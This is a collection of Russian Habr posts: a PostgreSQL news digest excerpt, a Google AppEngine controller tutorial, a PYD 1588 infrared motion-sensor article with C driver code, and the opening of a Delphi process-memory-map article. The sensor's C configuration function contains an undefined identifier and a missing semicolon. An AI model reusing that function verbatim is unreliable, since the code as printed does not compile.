*Александр Алексеев* (Postgres Professional) [продолжает](https://habr.com/company/postgrespro/blog/358256/) серию статей о новшествах, которые появятся в PostgreSQL 11. На этот раз о патче, позволяющим приведение JSONB непосредственно к числовым типам и boolean.
**Let’s speed things up**
В [этой статье](http://blog.dataegret.com/2018/04/lets-speed-things-up.html) *Алексей Лесовский* (**Data Egret**) напоминает о параметрах, которые надо настроить, чтобы использовать имеющийся в PostgreSQL 10 параллелизм.
**Near-Zero Downtime Automated Upgrades of PostgreSQL Clusters in Cloud (Part II)**
*Гюльчин Йильдирим* [разработала](https://blog.2ndquadrant.com/near-zero-downtime-automated-upgrades-postgresql-clusters-cloud-part-ii/) утилиту `Pglupgrade` на основе `Ansible` и объясняет, как с ее помощью обустроить апгрейд с близким к нулю временем недоступности. Часть I [здесь](https://blog.2ndquadrant.com/near-zero-downtime-automated-upgrades-postgresql-clusters-cloud/).
**Indexes with INCLUDE columns and their support in B-tree**
Статья Хуберта 'depesz' Любашевски о INCLUDE-индексах. Депеш [разбирает](https://www.depesz.com/2018/04/26/waiting-for-postgresql-11-indexes-with-include-columns-and-their-support-in-b-tree/) примеры использования этих индексов, получившиеся планы выполнения и размеры индексов. С выводами не торопится.
**Tech preview: PostgreSQL 11 – CREATE PROCEDURE**
*Ханс-Юрген Шёниг (Hans-Juergen Schoenig)* из **CyberTec** [объясняет](https://www.cybertec-postgresql.com/en/tech-preview-postgresql-11-create-procedure/) технологическое отличие новых процедур от классических функций PostgreSQL. По его мнению эта одна его из самых долгожданных и актуальных фич.
*Подписывайтесь на канал [postgresso](https://t.me/postgresso)!*
*Идеи и пожелания присылайте на почту: news\_channel@postgrespro.ru*
Предыдущие выпуски: [#5](https://habr.com/company/postgrespro/blog/353736/), [#4](https://habrahabr.ru/company/postgrespro/blog/351650/), [#3](https://habrahabr.ru/company/postgrespro/blog/349100/), [#2](https://habrahabr.ru/company/postgrespro/blog/347858/), [#1](https://habrahabr.ru/company/postgrespro/blog/345652/) | https://habr.com/ru/post/358560/ | null | ru | null |
# Google AppEngine с самого начала: Контроллер
Мы двигаемся вперед со скоростью реактивного паравоза, и пока хабралюди читают и осмысливают [первую](http://habrahabr.ru/blogs/gae/81895/) и [вторую](http://habrahabr.ru/blogs/gae/81920/) части статьи, я со скоростью пулемета пишу продолжение. На этот раз речь пойдет о сердце любого веб-приложения —
Контроллер
----------
Какое-то время назад мы уже определили несколько URL в `app.yaml` — пора разобраться, как заставить приложение правильно «реагировать» на них. Вот так выглядят наши маппинги:
```
# $Id: app.yaml 4 2010-01-25 12:14:48Z sigizmund $
application: helloworld
version: 1
runtime: python
api_version: 1
handlers:
- url: /(stats|login)
script: main.py
login: required
- url: .*
script: main.py
```
Как мы видим, определены три типа URL — `/stats`, `/login` и «всё остальное». Все три, что характерно, будут обработаны одним и тем же скриптом `main.py`, однако настройки отличаются — `/stats` и `/login` требуют наличия активной пользовательской сессии, в то время как для остальных это не обязательно. Давайте рассмотрим содержимое скрипта `main.py`:
```
#!/usr/bin/env python
'''
$Id: main.py 4 2010-01-25 12:14:48Z sigizmund $
'''
import controller
from google.appengine.ext import webapp
from google.appengine.ext.webapp import util
from google.appengine.api import users
def main():
application = webapp.WSGIApplication([('/', controller.DefaultRequestHandler),
('/stats', controller.StatsRequestController),
('/login', controller.LoginController)],
debug=True)
util.run_wsgi_app(application)
if __name__ == '__main__':
main()
```
Он довольно лаконичен. То есть он предельно лаконичен, но в то же время очень важен — все что он делает, это импортирует содержимое `controllers` и создает инстанс `webapp.WSGIApplication`, который сопоставляет URL'ы запросов и соответствующие обработчики. Эти обработчики как правило бывает удобно вынести в отдельный package дабы отделить код служебный от кода реального, который, собственно, и определяет поведение приложения. Рассмотрим эти обработчики по очереди.
### DefaultRequestHandler — обработчик по умолчанию
Как видно из кода выше, данный обработчик будет использоваться для всех запросов, которые пришли на «главную страницу» приложения — а именно, "/". Его код размещен ниже:
```
class DefaultRequestHandler(webapp.RequestHandler):
'''
Handles default requests - checks whether user is logged in; if it is - saves an information about
his visit in the database.
'''
def get(self):
user = users.get_current_user()
page = None
if not user:
page = view.StartPage(self.request)
else:
page = view.WelcomePage(self.request)
page.render(self.response.out)
```
Принципиально этот код ничем не отличается от кода `MainHandler` в [первой части](http://habrahabr.ru/blogs/gae/81895/), за исключением того, что он не генерирует содержимое страницы самостоятельно, а использует какие-то вспомогательные классы. На данном этапе мы не будем рассматривать, что они делают — для нас достаточно знать, что они генерируют HTML соответствующий нашим требованиям — то есть предлагает залогиниться пользователям, которые еще этого не сделали и приветствует тех, кто с этим успешно справился.
### Login Handler — между двух страниц
Напомню вам картинку со структурой нашего приложения:
[](http://skitch.com/sgzmd/n1yds/gaehabr)
Как следует из описания страницы `/login`, пользователь редиректится на нее автоматически и так же автоматически перенаправляется дальше, на станицу `/`. Что происходит на этой странице? Для этого нам потребуется рассмотреть сразу два класса.
```
class LoggedInRequestHandler(webapp.RequestHandler):
def currentVisitor(self):
user = users.get_current_user()
# we shouldn't check user, as /login and /stats specifies
# login:required in app.yaml
q = model.Visitor.all()
q.filter('user = ', user)
qr = q.fetch(2)
if len(qr) == 0:
u = model.Visitor()
elif len(qr) > 1:
# something is horribly wrong here, it shouldn't happen
# but it still could
logging.error("Duplicating user %s in datastore" % user.nickname())
raise Exception("Duplicating user %s in datastore" % user.nickname())
else:
u = qr[0]
self.currentVisitor = u
return u
```
Возможно, это и не самое лучшее архитектурное решение, однако в иллюстрационных целях мы объявляем класс и наследуем его от `webapp.RequestHandler`. Как видно, описанный класс не определяет метода `get` — то есть в качестве независимого разработчика он будет довольно бесполезен. Все, что он делает — предоставляет метод `currentVisitor()`, который либо достает из Datastore либо создает новый инстанс `Visitor` и возвращает его. Рассмотрим этот код подробнее.
Описанный подход использует [Datastore Query](http://code.google.com/appengine/docs/python/datastore/queryclass.html), который начинает со «всех» объектов данного типа, и потом постепенно «уточняет» окончательный набор данных посредством вызовов `filter()` и `ancestor()`. Приведенный пример очень прост, однако показывает практически все, что нужно, чтобы извлечь из Datastore необходимую запись; разумеется, в реальных приложениях этот запрос будет наверняка намного сложнее.
Теперь, имея такой полезный класс, мы можем легко описать наш обработчик:
```
class LoginController(LoggedInRequestHandler):
'''
We use this controller just for handling the login event
'''
def get(self):
u = self.currentVisitor()
u.hits = u.hits + 1
u.put()
self.redirect('/')
```
Как видно из кода, обработчик получает инстанс Visitor, ассоциированный с текущим пользователем (возможно, создает его), увеличивает количество посещений на единицу и сохраняет инстанс. После этого пользователь без лишних слов перенаправляется на главную страницу. Пользователя проверять уже не надо, поскольку URL `/login` помечен как требущий обязательного логина (то есть если пользователь попытается зайти на него без аутентификации, он будет автоматически перенаправлен на страницу входа).
### StatsRequestController — статистика по запросу
Код последнего обработчика предельно прост. Он прост настолько, что это навевает на мысли, что там явно должно быть что-то еще:
```
class StatsRequestController(LoggedInRequestHandler):
def get(self):
u = self.currentVisitor()
page = view.StatsPage(self.request, u)
page.render(self.response.out)
```
Действительно, там есть что-то еще. Это что-то называется Представление, использует шаблоны Django и будет описано в следующей части нашей статьи ;-)
Напоминаю, что полный исходный код можно посмотреть в [SVN](http://code.google.com/p/habr-gae-helloworld/source/browse/trunk/controller.py), а я жду ваших вопросов и комментариев!
P.S. придумайте, пожалуйста, как исходники с подсветкой в Хабр выкладывать — а то я буду все картинками заливать! | https://habr.com/ru/post/81933/ | null | ru | null |
# Работа с цифровым пассивным инфракрасным детектором движения PYD 1588
### 1. Общие сведения о цифровом детекторе PYD 1588
В данной статье приведена работа с цифровым пассивным инфракрасным детектором движения PYD 1588.
Цифровой инфракрасный детектор движения PYD 1588 (далее *детектор*) фирмы Excelitas Technologies представляет собой малопотребляющий (3,0 мкА при напряжении питания 1,8 В согласно документации) пассивный компонент с расположенными внутри двумя чувствительными элементами, измеряющих поток инфракрасного излучения.
Сигнал с чувствительного элемента преобразуется в цифровые данные посредством встроенного сигма-дельта аналого-цифрового преобразователя и цифрового сигнального процессора (digital signal processor, DSP). Внутри детектора реализован конфигурируемый модуль обнаружения движения, который при регистрации движения может генерировать прерывание ведущего микроконтроллера (МК), а также способствует значительному повышению энергоэффективности устройства благодаря исключению необходимости периодического запроса на получение сырых цифровых данных детектора и их последующего анализа.
По заявленным техническим показателям с имеющимся в корпусе световым фильтром и без применения внешних дополнительных линз Френеля детектор способен регистрировать движение нагретого тела при угле обзора до 115 градусов. Следует отметить, что цифровой детектор PYD 1598 является полным аналогом рассматриваемого детектора PYD 1588 за исключением угла обзора: детектор PYD 1598 конструктивно имеет более широкое окно, что соответствует углу обзора 130 градусов.
Детектор PYD 1588 выпускается в четырёхвыводном металлическом корпусе TO-5.
Рисунок 1 - Размеры и назначения выводов цифрового детектора PYD 1588, PYD 1598В детекторе реализованы два различных по временным характеристикам и назначению однопроводных последовательных интерфейсов передачи данных: однонаправленный интерфейс “Serial In” (для загрузки конфигурационных параметров) и полудуплексный интерфейс “Direct Link” (для получения оцифрованных данных), причём интерфейс “Serial In” более медленный: допустимо длительное, в сравнении с “Direct Link”-интерфейсом, время тактирования вплоть до 2 мкс. Отсюда следует, что возможно использование микроконтроллеров с более низкой частотой тактирования, если использовать встроенный в PYD 1588 модуль обнаружения движения после загрузки в него необходимых параметров по интерфейсу “Serial In”.
Рисунок 2 - Блок-диаграмма детектора PYD 1588, PYD 1598Чувствительные к инфракрасному излучению элементы детектора PYD 1588 подключены к встроенной микросхеме, функциями которой изображены на приведённой в документации блок-диаграмме (рисунок 2).
Функциями цифровой обработки сигнала занимается встроенная ASIC-схема, включающая в себя тактовый генератор, микросхему источник опорного напряжения, аналого-цифровой преобразователь c мультиплексным выбором источника данных с пироэлектрического датчика и встроенного датчика температуры. Схема включает в себя уже упомянутый встроенный модуль обнаружения движения, а также фильтр низких (ФНЧ) и высоких (ФВЧ) частот.
Последовательный интерфейс “Serial In” используется для конфигурации внутренний регистров детектора. Регистры памяти детектора энергозависимые: после сброса по питанию содержат случайные значения.
Последовательный интерфейс “Direct Link” может быть сконфигурирован следующим образом:
* на отправку прерывания, генерируемого встроенным модулем обнаружения движения;
* чтения потока данных детектора.
На рисунке 3 изображён пример обработки сигнала, поступающего с пироэлектрического датчика после полосового фильтра, при выборе режима работы встроенного модуля обнаружения движения.
Рисунок 3 - Пример обработки сигнала, поступающего с пироэлектрического датчика при выборе режима работы встроенного модуля обнаружения движенияВ данном режиме линия интерфейса “Direct Link” переводится в высокое состояние при срабатывании встроенного модуля обнаружения движения и автоматически не переводится обратно в низкое состояние. Для сброса прерывания детектора необходимо принудительно перевести линию “Direct Link” в низкое состояние на время не менее 160 мкс. После сброса тревоги детектора анализ сигнала, осуществляемый встроенным модулем обнаружения движения, игнорируется на так называемое *время удержания* (*blind time*).
### 2. Описание конфигурационного регистра
Таблица 1 - Содержание конфигурационного регистра детектора PYD 1588**[24:17] - *пороговое значение (threshold)*.**
Задание порогового уровня напряжения, пересечение которого идентифицируется как факт тревоги при движении в зависимости от настройки *счётчика импульсов*.
**[16:13] - *время удержания (blind time)*.**
Отключение датчика движения на заданное время во избежание мгновенного срабатывания после тревоги. Время удержания отсчитывается после того, как детектор переведёт вывод “Direct Link” из низкого состояния в высокое. Данный параметр задаётся в диапазоне от 0,5 с до 8,0 с с шагом 0,5 с.
**[12:11] - *счётчик импульсов (pulse counter)*.**
Задание количества импульсов, превышающих заданное *пороговое значение* в течение указанного промежутка времени - *времени развёртки* (*window time*). В зависимости от применения (объёмный или лучевой датчик движения) возможен выбор от одного до четырёх количеств пересечений *порогового значения*.
**[10:9] - *время развёртки* (*window time*).**
Количество пересечений, инкрементируемое счётчиком импульсов, производится в течение задаваемого *времени развёртки*, которое может быть выбрано в пределах от 2 до 8 с.
**[8:7] - *режим работы* (*operation mode*).**
Доступны три режима работы детектора:
* принудительное считывание (“Forced Readout”);
* периодическое считывание (“Interrupt Readout”);
* режим прерывания от встроенного модуля обнаружения движения (“Wake Up”).
В режиме работы принудительного и периодического считывания линия интерфейса “Direct Link” используется для получения сырых данных детектора и его конфигурационных настроек. В режиме прерываний детектора от встроенного модуля обнаружения движения вывод “Direct Link” используется для однозначного определения срабатывания датчика движения.
**[6:5] - *источник сигнала* (*signal source*).**
Доступен выбор трёх источников:
* сигнал с инфракрасного датчика после полосового фильтра [00] (целое знаковое число - количество отсчётов АЦП от -8192 до 8192);
* сигнал с инфракрасного датчика после фильтра низких частот [01] (целое беззнаковое число - количество отсчётов АЦП от 0 до 16383);
* датчик температуры [11] (целое беззнаковое число - количество отсчётов АЦП от 0 до 16383).
Использование данных, поступающих от датчика температуры, возможно для игнорирование ложных срабатываний в случае резких температурных изменений (1К/мин).
**[2] *частота среза фильтра высоких частот* (*HPF cut-off*).**
Оптимальное значение параметра зависит от характера движения нагретого тела в зоне видимости детектора и в зависимости от применения детектора в конечном устройстве. Более низкому значению параметра (0.2 Гц [1]) соответствует настройка сенсора на регистрацию движения на более длинном расстоянии, большему значению параметра (0.4 Гц [0]) - регистрация движения на коротком расстоянии.
**[0] режим счётчика (*count mode*).**
При установке в ноль бита параметра [0] подсчёт импульсов производится в случае, если при превышении *порогового значения* знак сигнала после полосового фильтра меняется на противоположный. При установке бита параметра в единицу [1] подсчёт импульсов производится каждый раз при превышении заданного порогового значения напряжения (не требуется переход сигнала через ноль).
### 3. Описание последовательного интерфейса “Serial In”
Загрузка конфигурационных данных производится через однопроводный однонаправленный последовательный интерфейс “Serial In”. Принцип загрузки данных изображён на рисунке 4.
Рисунок 4 - Процесс загрузки данных в конфигурационный регистр детектора PYD 1588, PYD 1598 по интерфейсу “Serial In”Во время передачи данных линия интерфейса “Direct Link” должна быть переведена микроконтроллером в низкое состояние. Внешний МК для инициализации передачи бита данных переводит линию интерфейса “Serial In” из низкого состояния в высокое и далее, в зависимости от передаваемого значения (единицы или нуля), удерживает линию в соответствующем состоянии (высоком или низком). Тактирующий импульс может быть минимальным (один такт МК). Длительность передачи бита данных (удержание линии в соответствующем состоянии) должна превышать 80 мкс (tshd). Как только детектор получает все 25 бит информации и передача прерывается переводом линии интерфейса “Serial In” в низкое состояние на время (tslt) более 650 мкс, полученные параметры загружаются конфигурационный регистр.
### 4. Описание последовательного интерфейса “Direct Link”
Интерфейс “Direct Link” - однопроводный последовательный полудуплексный интерфейс, предназначенный для генерации прерывания от встроенного модуля обнаружения движения или для непрерывного считывания данных детектора
Таблица 2 - Содержание пакета данных, полученных по интерфейсу “Direct Link”**[39] - *валидность данных* (*out of range*).**
Встроенная микросхема имеет функцию детекции валидности данных: если сигнал, поступающий с пироэлектрического датчика изменяется скачком в любую сторону на 511 отсчётов АЦП, входная цепь закорачивается на время 16 мс, для того чтобы разрядить сенсор. В таком случае 39-ый бит выставляется в ноль, т. е., имеется наличие технической неисправности сенсора, вызванное нестабильностью состояния пироэлектрического элемента. При нормальной работе датчика 39-ый бит устанавливается в единицу. Данные могут считаться невалидными, например в случае резкого изменения температуры (более 1° в минуту).
**[38:25] - *данные АЦП* (*ADC counts*).**
Оцифровка данных может производиться от трёх разных источников: после фильтрации ФНЧ, полосового фильтра или от датчика температуры. Оцифрованные данные после полосового фильтра доступны каждые 20 мс после предыдущего считывания. Чтение данных чаще чем через указанный промежуток времени может привести к чтению из регистра детектора неактуальных данных.
**[24:0] - *содержание конфигурационного регистра* (*configuration*).**
Чтение параметров, загруженных в конфигурационный регистр детектора.
Рисунок 5 - Процесс чтения данных из детектора PYD 1588, PYD 1598 по интерфейсу “Direct Link”**Таймслоты интерфейса**
Принцип чтения данных изображён на рисунке 5. Процесс чтения можно разделить на фазу инициализации (передача стартового условия) и, непосредственно самого чтения данных. Инициализация процесса чтения производится переводом линии “Direct Link” из низкого состояния в высокое на время не менее 120 мкс (tds). В зависимости от предварительно выбранного режима работы стартовое условие может инициироваться как внешним МК (принудительное считывание), так и самим детектором (периодическое считывание).
**Режим прерывания от встроенного модуля обнаружения движения**
При регистрации движения встроенным модулем обнаружения детектор переводит линию из низкого состояния в высокое. Для сброса тревоги необходимо внешним МК перевести линию из высокого состояния в низкое на время не менее 160 мкс (). Получение данных после сброса тревоги от встроенного модуля обнаружения возможно не ранее чем через 120 мкс. Для распознавания тревоги в данном режиме работы детектора необходимо вывод внешнего МК, к которому подключена линия интерфейса “Direct Link”, должен быть сконфигурирован на вход.
**Режим принудительного и периодического считывания**
В этих режимах процесс чтения данных детектора одинаковый, отличается только фаза инициализации: в режиме принудительного считывания отправка стартового условия (импульс 120 мс) производится внешним МК, в режиме периодического считывания детектор самостоятельно переводит линию в высокое состояние каждые 16 мс, а внешний МК должен перевести линию в низкое состояние не ранее, чем через 120 мс. Для того чтобы распознать готовность детектора к чтению данных, вывод внешнего МК, к которому подключена линия интерфейса “Direct Link”, также необходимо сконфигурировать на вход.
**Процесс чтения данных**
После перевода линии из высокого состояния в низкое стартового импульса детектор ожидает следующего переднего фронта импульса, генерируемого внешним МК, вывод которого после перевода линии в высокий уровень следует сконфигурировать на вход. При этом детектор удерживает линию в высоком состоянии, чтобы передать логическую единицу, либо переводит линию в низкое состояние для передачи нуля. Время, за которое детектор переводит линию в низкое состояние зависит от ёмкости линии, из этого следует настройку коммуникации начинать с максимального таймслота, но не превышая 22 мкс, постепенно уменьшая длительность интервала передачи одного бита для достижения максимальной скорости передачи пакета данных.
После считывания бита внешний МК снова переводит линию в низкое состояние для инициации передачи следующего бита пакета. Далее последовательность действий повторяется до тех пор, пока не будет передан последний бит данных, после получения которого внешний МК должен удерживать линию “Direct Link” в низком состоянии в течение 160 мкс. Рекомендуется длительность всего процесса считывания данных осуществлять в течение 800 мкс. Возможно прекращение процесса чтения в любой момент, для этого линия “Direct Link” переводится внешним МК в низкое состояния на dремя мне менее 120 мкс.
### 5. Пример работы с детектором PYD 1588
Таблица 3 - Выбор загружаемых в детектор параметров:
| | | |
| --- | --- | --- |
| параметр | значение | примечание |
| порог срабатывания | 0x1F | 31 / 256 = 12% от максимального |
| время удержания | 0x06 | 0,5 + 0,5 \* 6 = 3,5 с |
| счётчик импульсов: | 0x00 | одно пересечение |
| время развёртки | 0x00 | 2 + 0 \* 2 = 2 с |
| режим работы | 0x10 | режим прерывания от встроенного модуля обнаружения движения |
| источник сигнала | 0x00 | ИК-сенсор, полосовой фильтр |
| частота среза ФВЧ | 0x00 | 0,4 Гц |
| режим счётчика | 0x01 | без изменения знака сигнала |
Последовательность бит информации представлена в таблице 4. Циклограмма процесса записи выбранных параметров в конфигурационный регистр детектора по интерфейсу “Serial In”, полученная с помощью логического анализатора, приведена на рисунке 6.
Таблица 3 - Пример записи конфигурационного регистра детектора
| | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| count | reserved | cut off | reserved | signal source | operation mode | window time | pulse counter | blind time | threshold |
| 24 | 23 | 22 | 21 | 20 | 19 | 18 | 17 | 16 | 15 | 14 | 13 | 12 | 11 | 10 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
| 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 |
Рисунок 6 - Циклограмма процесса записи параметров в конфигурационный регистр детектора PYD 1588На рисунке 7 представлена циклограмма процесса записи и считывания параметров детектора:
1. запись режима работы принудительного считывания детектора (интерфейс “Serial In”);
2. чтение данных с датчика (интерфейс “Direct Link”);
3. переход на режим прерывания от встроенного модуля обнаружения (интерфейс “Serial In”).
Рисунок 7 - Циклограмма процесса записи и считывания параметров детектора PYD 1588Разработана функция записи необходимых параметров в конфигурационный регистр PYD 1588 по интерфейсу “Serial In”. Разработана функция получения данных с датчика по интерфейсу “Direct Link”. Библиотека доступна на [github](https://github.com/mitya1777/fair).
Максимальный диапазон измеряемых напряжений АЦП ИК-сенсора 100 мВ. Разрядность АЦП 14 бит (2^14 = ±8192 отсчётов = 6,1 мкВ/отсчёт АЦП).
Код функции записи параметров приведён ниже:
```
/* Serial In interface realization */
void load_parameters(uint8_t counting_mode, // pulse counting method with the signal sign accounting
uint8_t cut_off_frequency, // the high pass cut-off frequency in the band pass 1lter
uint8_t signal_source, // a choice of three data sources is available (PIR BPF, PIR LPF, temperature sensor)
uint8_t operation_mode, // three sensor operation modes are available
uint8_t window_time, // the pulse counter increment is performed during the selected time
uint8_t pulse_counter, // the amount of pulses above the threshold
uint8_t blind_time, // for avoid immediate re-triggering after a motion event detection
uint8_t threschold, // threshold voltage
uint16_t t_shd, // data bit time (not less than 80 us)
uint16_t t_slt) // hold time for detector data latching
{
DL_LINE_HIGH_TO_LOW;
SI_LINE_HIGH_TO_LOW; // initialization impulse
SI_LINE_LOW_TO_HIGH;
SI_LINE_HIGH_TO_LOW;
/* parameters setting */
uint8_t p_counting_mode = counting_mode;
uint8_t p_cut_off_frequency = cut_off_frequency;
uint8_t p_signal_source = signal_source;
uint8_t p_operation_mode = operation_mode;
uint8_t p_window_time = window_time;
uint8_t p_pulse_counter = pulse_counte;
uint8_t p_blind_time = blind_time;
uint8_t p_threschold = threschold;
uint16_t loaded_data[0x02] = {0x00};
uint8_t *bit_field[0x04] = {0x00};
bit_field[0x00] = &p_pulse_counter;
bit_field[0x01] = &p_window_time;
bit_field[0x02] = &p_operation_mode;
bit_field[0x03] = &p_signal_source;
#ifdef MSP430 // lsb (msp430) to msb (pyd1588) data format converting
p_blind_time = ((p_blind_time & 0x0A) >> 0x01) | ((p_blind_time & 0x05) << 0x01);
p_blind_time = ((p_blind_time & 0x0C) >> 0x02) | ((p_blind_time & 0x03) << 0x02);
for(uint16_t i = 0x00; i < 0x04; i ++) {
*bit_field[i] = ((*bit_field[i] & 0xAA) >> 0x01) | ((*bit_field[i] & 0x55) << 0x01);
}
lsb_to_msb(&p_threschold);
#endif
loaded_data[0] |= p_threschold;
loaded_data[0] |= (p_blind_time << 0x08);
loaded_data[0] |= (p_pulse_counter << 0x0C);
loaded_data[0] |= (p_window_time << 0x0E);
loaded_data[1] |= p_operation_mode;
loaded_data[1] |= (p_signal_source << 0x02);
loaded_data[1] |= (p_cut_off_frequency << 0x06);
loaded_data[1] |= (p_counting_mode << 0x08);
for(uint8_t i = 0x00; i < 0x02; i ++) {
for(uint8_t k = 0x00; k < 0x10; k ++) {
if((k == 0x09) & (i == 0x01)) {
SI_LINE_HIGH_TO_LOW;
break;
}
if((loaded_data[i] & (0x01 << k)) == 0x00) {
SI_LINE_HIGH_TO_LOW;
SI_LINE_LOW_TO_HIGH
SI_LINE_HIGH_TO_LOW;
}
else {
SI_LINE_HIGH_TO_LOW;
SI_LINE_LOW_TO_HIGH;
}
bit_time(t_shd);
}
}
SI_LINE_HIGH_TO_LOW;
bit_time(t_slt);
DL_LINE_INPUT_MODE;
}
```
Библиотека по работе с детектором PYD 1588, PYD 1588 размещена на [github](https://github.com/mitya1777/fair); режим периодического считывания здесь не реализован. Результаты экспериментов при питании устройства от химических источников на момент написания статьи недоступны. Вся информация при работе с детектором была взята из соответствующей документации, размещённой на [сайте производителя](https://www.excelitas.com/product/pyd-1588-pyd-1598-low-power-digipyros). | https://habr.com/ru/post/654277/ | null | ru | null |
# Карта памяти процесса
Задумывались ли вы над тем, как именно используется память, доступная вашей программе, да и вообще, что именно размещается в этих двух-трех гигабайтах виртуальной памяти, с которыми работает ваше ПО?
Спросите, зачем?
Ну как же, для 32-битного приложения 2-3 гигабайта – это ваш лимит за пределы которого без использования AWE вы выбраться не сможете, а контролировать собственные ресурсы все же желательно. Но даже и без этого просто с целью разобраться…
В прошлых статьях я описывал работу отладчика, где производились модификации памяти приложения, находящегося под отладкой. Эта статья является продолжением данного материала. И хотя к отладчику она не будет иметь отношения, но вот к процессу отладки – самое непосредственное…
Давайте посмотрим, как именно программист работает с памятью при отладке (особенно при отладке стороннего приложения, проще говоря, при реверсе):
1. Как правило, самой частой операцией будет поиск значения в памяти приложения и, к сожалению, данный функционал почему-то не предоставлен в отладчике Delphi (собственно, как и в MS VC++).
2. Модификация системных структур (PEB/TEB/SEHChain/Unwind/директорий PE-файлов etc...) будет происходить гораздо проще, когда поля структур размаплены на занимаемые ими адреса и представлены в читабельном виде.
3. Отслеживание изменений в памяти процесса (практически никем не предоставляемый функционал, реализованный в виде плагинов к популярным отладчикам). Действительно, зачем трассировать до посинения, когда достаточно сравнить два снимка карты памяти, чтобы понять, тут ли происходит нужная нам модификация данных или нет?
Да, собственно, вариантов использования много.
Впрочем, если без лирики, утилит отображающих более-менее вменяемую информацию о карте памяти процесса, которую можно применить для отладки, очень мало.
Самая удобная реализация от OllyDebug 2, но, к сожалению, она не отображает данные по 64 битам (все еще ждем).
VMMap от Марка Руссиновича выполняет чисто декоративные свойства, да красиво, да за подписью Microsoft, но практически применить выводимые ей данные тяжеловато.
ProcessHacker – хороший инструмент, но его автор не ставил перед собой задач по работе с выводом данных о памяти, поэтому выводимая им информация можно сказать вообще самая простая.
Ну а к карте памяти от IDA Pro за столько лет работы с ней я так и не привык (мне не удобно) :)
Впрочем, отладка это не все, где может пригодиться валидная карта памяти. В частности, по работе я использую карту памяти при анализах лога ошибок, присылаемых нам пользователями вместе с дампом критических участков, интегрировав информацию о ней в EurekaLog.
В данной статье я попробую по шагам рассказать, как самостоятельно составить карту памяти процесса и разместить в ней информацию о нужных для отладки и анализа данных.
#### 1. Получаем список доступных регионов
Вся виртуальная память процесса представлена в виде страниц.
Страницы бывают маленькие (4096 байт) и большие. ([Подробнее можно узнать в MSDN](http://msdn.microsoft.com/en-us/library/aa366543(VS.85).aspx))
В большинстве случаев идущие подряд страницы имеют одинаковые атрибуты.
Что есть регион?
Грубо ([если взять за основу MSDN](http://msdn.microsoft.com/en-us/library/aa366775(v=vs.85).aspx)) – это набор всех страниц имеющих одинаковые атрибуты, которые начинающихся с переданного функции VirtualQuery адреса.
В самом простейшем виде получить список регионов нашего процесса можно вот таким кодом:
```
program Project1;
{$APPTYPE CONSOLE}
{$R *.res}
uses
Windows,
SysUtils;
var
MBI: TMemoryBasicInformation;
dwLength: NativeUInt;
Address: PByte;
begin
Address := nil;
dwLength := SizeOf(TMemoryBasicInformation);
while VirtualQuery(Address, MBI, dwLength) <> 0 do
begin
Writeln(
'AllocationBase: ', IntToHex(NativeUInt(MBI.AllocationBase), 8),
', BaseAddress: ', IntToHex(NativeUInt(MBI.BaseAddress), 8),
', RegionSize: ', MBI.RegionSize);
Inc(Address, MBI.RegionSize);
end;
Readln;
end.
```
К примеру, изначально мы передали первым параметром адрес nil. После вызова функции переменная MBI примет следующие значения:
* BaseAddress = nil
* AllocationBase = nil
* AllocationProtect = 0
* RegionSize = $10000
* State = $10000
* Protect = 1
* Type\_9 = 0
Размер региона равен $10000 (64 кб), это соответствует 16 страницам, идущим подряд, начиная с адреса ноль, состояние которых (State) равно MEM\_FREE ($10000) и выставлен атрибут защиты PAGE\_NO\_ACCESS (1) в параметре Protect.
Если переписать код вот таким образом:
```
function ExtractAccessString(const Value: DWORD): string;
const
PAGE_WRITECOMBINE = $400;
begin
Result := 'Unknown access';
if (Value and PAGE_EXECUTE) = PAGE_EXECUTE then Result := 'E';
if (Value and PAGE_EXECUTE_READ) = PAGE_EXECUTE_READ then Result := 'RE';
if (Value and PAGE_EXECUTE_READWRITE) = PAGE_EXECUTE_READWRITE then
Result := 'RWE';
if (Value and PAGE_EXECUTE_WRITECOPY) = PAGE_EXECUTE_WRITECOPY then
Result := 'RE, Write copy';
if (Value and PAGE_NOACCESS) = PAGE_NOACCESS then Result := 'No access';
if (Value and PAGE_READONLY) = PAGE_READONLY then Result := 'R';
if (Value and PAGE_READWRITE) = PAGE_READWRITE then Result := 'RW';
if (Value and PAGE_WRITECOPY) = PAGE_WRITECOPY then Result := 'Write copy';
if (Value and PAGE_GUARD) = PAGE_GUARD then
Result := Result + ', Guarded';
if (Value and PAGE_NOCACHE) = PAGE_NOCACHE then
Result := Result + ', No cache';
if (Value and PAGE_WRITECOMBINE) = PAGE_WRITECOMBINE then
Result := Result + ', Write Combine';
end;
function ExtractRegionTypeString(Value: TMemoryBasicInformation): string;
begin
Result := '';
case Value.State of
MEM_FREE: Result := 'Free';
MEM_RESERVE: Result := 'Reserved';
MEM_COMMIT:
case Value.Type_9 of
MEM_IMAGE: Result := 'Image';
MEM_MAPPED: Result := 'Mapped';
MEM_PRIVATE: Result := 'Private';
end;
end;
Result := Result + ', ' + ExtractAccessString(Value.Protect);
end;
var
MBI: TMemoryBasicInformation;
dwLength: NativeUInt;
Address: PByte;
begin
Address := nil;
dwLength := SizeOf(TMemoryBasicInformation);
while VirtualQuery(Address, MBI, dwLength) <> 0 do
begin
Writeln(
'AllocationBase: ', IntToHex(NativeUInt(MBI.AllocationBase), 8),
', BaseAddress: ', IntToHex(NativeUInt(MBI.BaseAddress), 8),
' - ', ExtractRegionTypeString(MBI));
Inc(Address, MBI.RegionSize);
end;
```
… то можно наглядно увидеть принцип разбиения на регионы функцией VirtualAlloc:
К примеру, у второго и третьего региона атрибуты доступа одинаковые (чтение запись), но разная AllocationBase. AllocationBase назначается страницам при выделении памяти посредством VirtualAlloc, объединяя их таким образом в отдельный регион.
#### 2. Собираем данные о потоках
Пришла пора начать заполнять полученные нами регионы информацией о том, что они хранят, и начнем мы с потоков (нитей – кому как удобнее).
Код получения списка потоков простой – через CreateToolhelp32Snapshot.
```
const
THREAD_GET_CONTEXT = 8;
THREAD_SUSPEND_RESUME = 2;
THREAD_QUERY_INFORMATION = $40;
ThreadBasicInformation = 0;
ThreadQuerySetWin32StartAddress = 9;
STATUS_SUCCESS = 0;
var
hSnap, hThread: THandle;
ThreadEntry: TThreadEntry32;
TBI: TThreadBasicInformation;
TIB: NT_TIB;
lpNumberOfBytesRead: NativeUInt;
